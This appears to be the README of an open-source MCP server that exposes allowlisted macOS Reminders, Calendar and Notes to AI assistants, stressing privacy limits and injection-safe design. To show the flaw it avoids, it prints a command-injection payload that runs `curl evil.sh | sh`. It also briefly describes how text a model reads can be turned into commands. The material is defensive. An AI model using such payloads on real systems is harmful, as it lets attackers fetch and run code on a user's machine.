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mac-organiser-mcp

MCP

Enables AI assistants to read and write macOS Reminders, Calendar events and Notes through fixed AppleScript tooling, restricted to the lists, calendars and folders you explicitly allowlist. Writes and deletes are opt-in, and no data leaves the app beyond what the allowlist exposes.

@nicksull · v0.2.0 · MIT License · updated today

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PLUG IN

git clone https://github.com/nicksull/mac-organiser-mcp.git

See the README to configure this MCP server

README

Mac Organiser MCP: Reminders, Calendar and Notes for your AI assistant, on your terms.

Mac Organiser MCP

Reminders, Calendar and Notes for your AI assistant, on your terms.
Only the lists, calendars and folders you choose. Nothing else leaves the app.

macOS 14+ Node 20+ MCP TypeScript Network calls: 0 Live tests: 43 passing Licence: MIT

WHY  ·  TOOLS  ·  PRIVACY  ·  QUICK START  ·  CONFIGURATION  ·  HOW IT WORKS


Why

Most Apple MCP servers paste whatever the model sends straight into an AppleScript or a shell command. That means any text the model reads, such as a web page, an email or a shared Reminders list someone else can edit, can become a command running as you. They also tend to hand the model everything: every reminder, every note, every calendar.

This one takes the opposite approach on both counts:

  • 🔒 Nothing the model sends can ever run as code. Each app has one fixed script, and your data travels to it only as a value.
  • 🫥 Your assistant sees only what you allow. Lists, calendars and folders outside your allowlist are filtered inside the app itself, so they never reach the server, let alone the model.
  • ✉️ Nothing outward-facing. It can't invite anyone, notify anyone or load anything from the internet.

[!IMPORTANT] Anything a tool returns is sent to your model provider as part of the conversation. Allowlists are your main control over what that can include, so keep them tight.

What your assistant can do

Each app is off until you enable it. Writes can be switched off per app, and deletes are always opt-in.

Tool What it does
✅ list_reminder_lists Names of the lists you've allowed read
get_reminders Incomplete reminders by default, optionally one list read
search_reminders Case-insensitive search on titles (and notes, if enabled) read
create_reminder Title, list, notes, due date, priority write
update_reminder Rename, reschedule, clear the due date, re-prioritise, complete write
delete_reminder Permanent delete opt-in
📅 list_calendars The calendars you've allowed, with account and whether they're writable read
get_events Events in a range, recurring events expanded into real occurrences read
create_event Timed or all-day, with location and notes. Never with attendees write
update_event Edits one event, or one occurrence of a recurring series write
delete_event Removes one event or one occurrence opt-in
🗒️ list_note_folders The folders you've allowed read
find_notes Titles only, newest first, optional text search read
get_note A note's plain text (capped length) read
create_note A new plain-text note write
append_to_note Adds text to the end of a plain note write

Dates are ISO 8601: 2026-10-29, 2026-10-29T14:00 (your local time) or 2026-10-29T14:00+11:00.

Private by default

Default Opt in with
Apps exposed none MAC_ORGANISER_APPS=reminders,calendar,notes
Calendars visible none (allowlist required) CALENDAR_CALENDARS="Work,Home", or * for all
Notes folders visible none (allowlist required) NOTES_FOLDERS="AI", or * for all
Reminder notes never returned REMINDERS_ALLOW_NOTES=1, then includeNotes per call
Event location, notes, URL never returned CALENDAR_ALLOW_DETAILS=1, then includeDetails per call
Completed reminders hidden completed: true per call
Note contents only via get_note, one note at a time
Delete tools not exposed REMINDERS_ALLOW_DELETE=1, CALENDAR_ALLOW_DELETE=1

Never returned, whatever you set: event attendees, reminder creation and modification dates, the Recently Deleted notes folder, and the contents of locked notes.

Quick start

Requirements

macOS 14 Sonoma or later (Calendar uses EventKit's full-access API)
Node.js 20 or later
Client Any MCP client that can launch a local (stdio) server. See Works with

Install

git clone <this repo> ~/repos/mac-organiser-mcp
cd ~/repos/mac-organiser-mcp
npm ci
npm run build

Works with

It's a standard Model Context Protocol server that runs locally over stdio, so it isn't tied to any one assistant. Every client needs the same three things: the command node, the path to dist/index.js, and your settings as environment variables.

Client Where the config goes
Claude Code claude mcp add (below)
Claude Desktop ~/Library/Application Support/Claude/claude_desktop_config.json
Cursor ~/.cursor/mcp.json
Windsurf ~/.codeium/windsurf/mcp_config.json
VS Code (agent mode) .vscode/mcp.json in a workspace, or your user mcp.json
OpenAI Codex CLI ~/.codex/config.toml
ChatGPT app ❌ Not supported: ChatGPT only connects to remote servers over HTTP

[!WARNING] You can put a local MCP server behind a public HTTPS tunnel so ChatGPT can reach it, but don't do that with this one. It would put your Reminders, Calendar and Notes on an internet-facing endpoint, which defeats the point of the design.

Claude Code
claude mcp add -s user mac-organiser \
  -e MAC_ORGANISER_APPS=reminders,calendar,notes \
  -e REMINDERS_LISTS="Reminders,Groceries" \
  -e CALENDAR_CALENDARS="Work,Home" \
  -e NOTES_FOLDERS="AI" \
  -- node ~/repos/mac-organiser-mcp/dist/index.js
Claude Desktop · Cursor · Windsurf

All three use the same mcpServers shape:

{
  "mcpServers": {
    "mac-organiser": {
      "command": "node",
      "args": ["/Users/you/repos/mac-organiser-mcp/dist/index.js"],
      "env": {
        "MAC_ORGANISER_APPS": "reminders,calendar,notes",
        "REMINDERS_LISTS": "Reminders,Groceries",
        "CALENDAR_CALENDARS": "Work,Home",
        "NOTES_FOLDERS": "AI"
      }
    }
  }
}
VS Code

VS Code uses servers and an explicit type:

{
  "servers": {
    "mac-organiser": {
      "type": "stdio",
      "command": "node",
      "args": ["/Users/you/repos/mac-organiser-mcp/dist/index.js"],
      "env": {
        "MAC_ORGANISER_APPS": "reminders,calendar,notes",
        "REMINDERS_LISTS": "Reminders,Groceries",
        "CALENDAR_CALENDARS": "Work,Home",
        "NOTES_FOLDERS": "AI"
      }
    }
  }
}
OpenAI Codex CLI
[mcp_servers.mac-organiser]
command = "node"
args = ["/Users/you/repos/mac-organiser-mcp/dist/index.js"]

[mcp_servers.mac-organiser.env]
MAC_ORGANISER_APPS = "reminders,calendar,notes"
REMINDERS_LISTS = "Reminders,Groceries"
CALENDAR_CALENDARS = "Work,Home"
NOTES_FOLDERS = "AI"

Config formats change between client versions; if one doesn't match, check that client's MCP docs.

[!TIP] A dedicated Notes folder (say, AI) makes a great allowlist: a scratchpad your assistant can read and write, while the rest of your notes stay out of reach.

Permissions

macOS asks once per app the first time it's used. Click Allow.

App Where to review it
Reminders, Notes System Settings › Privacy & Security › Automation
Calendar System Settings › Privacy & Security › Calendars (full access)
Reminders, only for clearing a due date System Settings › Privacy & Security › Reminders (full access)

[!NOTE] These permissions belong to the host app (Terminal, Cursor, VS Code, Claude Desktop…), not to this server. Anything else running inside that app gets the same access. The first Calendar call waits up to 40 seconds for you to answer the prompt.

Configuration

Everything is an environment variable. Flags take 1, true or yes.

Variable Default
MAC_ORGANISER_APPS (none) Comma-separated: reminders, calendar, notes
REMINDERS_LISTS all lists List-name allowlist; * for all
REMINDERS_ALLOW_NOTES off Lets the model request reminder notes
REMINDERS_READ_ONLY off Hides create and update
REMINDERS_ALLOW_DELETE off Exposes delete_reminder
REMINDERS_MAX_RESULTS 50 Up to 500
CALENDAR_CALENDARS required Calendar names or ids; * for all
CALENDAR_ALLOW_DETAILS off Lets the model request location, notes and URL
CALENDAR_READ_ONLY off Hides create and update
CALENDAR_ALLOW_DELETE off Exposes delete_event
CALENDAR_MAX_RESULTS 100 Up to 1000
NOTES_FOLDERS required Folder names; * for all
NOTES_READ_ONLY off Hides create and append
NOTES_MAX_RESULTS 50 Up to 500
NOTES_MAX_CHARS 20000 Longest text get_note returns, up to 200000

If an app is enabled without its required allowlist, it stays off and the server says why on stderr.

How it works

flowchart LR
    client["AI client<br/>(Claude, Cursor, Codex…)"] -->|"tool call (JSON)"| zod

    subgraph server["Mac Organiser MCP · Node"]
        zod["Validate every argument<br/>(zod: IDs, dates, lengths)"]
        exec["execFile osascript<br/>no shell"]
        zod --> exec
    end

    subgraph mac["Inside the Apple app"]
        script["Fixed JXA script<br/>request arrives as one JSON value"]
        filter{"In your<br/>allowlist?"}
        data[("Reminders · Calendar · Notes")]
        script --> filter
        filter -->|yes| data
        filter -.->|no: 'not found'| script
    end

    exec -->|argv| script
    data -->|only allowed fields| exec
    exec -->|result| client

Why injection can't happen

The usual pattern builds a script out of the model's text, so a stray ' or " turns data into code:

// ❌ What many Apple MCP servers do
exec(`osascript -e 'set name of r to "${name}"'`);
//   name = `x'; curl evil.sh | sh; #`  →  runs curl

Here the script text never changes. The request is handed over as a separate argument, without a shell, and only ever read as data:

// ✅ Mac Organiser MCP
execFile('/usr/bin/osascript', ['-l', 'JavaScript', '-e', SCRIPT, JSON.stringify(request)]);
// Inside SCRIPT
function run(argv) { return handle(JSON.parse(argv[0])); }

The live test suite sends exactly those payloads, among others, and checks that they're stored as plain text.

Engines

App Engine Why
Reminders Reminders scripting (JXA) Fast enough in bulk. EventKit is used for one thing scripting can't do: clearing a due date
Calendar EventKit via the JXA ObjC bridge Much faster than scripting Calendar.app, and it expands recurring events correctly
Notes Notes scripting (JXA) Notes has no public framework

Ground rules

Every change is held to these.

  1. No code is ever built from input. Scripts are fixed text; requests travel only as data.
  2. Filter at the source. Allowlists and field limits are enforced inside the Apple app, so hidden data never reaches Node, logs or the model.
  3. Outside the allowlist means "not found". For reads and writes alike, with no hint that something exists.
  4. Nothing outward-facing. No attendees, no invitations, no update emails, no network calls. Events with attendees are read-only here.
  5. Never destroy what you can't restore. Deletes are opt-in. Notes are never overwritten or deleted, and recurring events are only ever changed one occurrence at a time.
  6. Text stays text. Notes content is HTML-escaped, so the model can't add links, markup or tracking images.
  7. Validate everything. IDs, dates, priorities and lengths are checked before anything runs, as a second line of defence.
  8. Pinned dependencies. Exact versions with a lockfile, two runtime dependencies, no install scripts.

Limits

  • Notes: no edit or delete. Notes can only be scripted by replacing a note's whole body, which can lose attachments, checklists and tables. For the same reason, append_to_note refuses notes that contain attachments, lists, tables or images.
  • Calendar: no recurrence rules on new events, and events with attendees can't be changed or deleted here. Use Calendar.app for those.
  • Reminders: no subtasks, tags, flags or locations; the scripting interface doesn't expose them.
  • Duplicate names: if two calendars share a name, use the calendar id from list_calendars. Two Notes folders with the same name need renaming.
  • macOS only, and the Mac has to be awake: everything runs locally.

Development

Command What it does
npm run build Compile TypeScript to dist/
npm start Run the server on stdio
npm run test:live End-to-end test against the real apps (see below)

Live tests

npm run build && npm run test:live

The suite creates an MCP Test reminders list, calendar and notes folder, locks every allowlist to them and runs all 16 tools through a real MCP client: 43 checks, including injection payloads, allowlist escapes, recurring-event occurrences and due-date clearing. It deletes the fixtures when it's done, and it won't start if anything called MCP Test already exists. None of your other data is read.

Layout

src/
  index.ts        Registers each enabled app
  config.ts       Environment variables and their defaults
  osascript.ts    Runs a fixed JXA script with one JSON argument; shared helpers
  reminders.ts    Reminders tools and script
  calendar.ts     Calendar tools and EventKit script
  notes.ts        Notes tools and script
test/
  live.mjs        End-to-end suite over MCP
  fixtures.js     Creates and removes the MCP Test fixtures

Licence

MIT © 2026 Nick Sullivan

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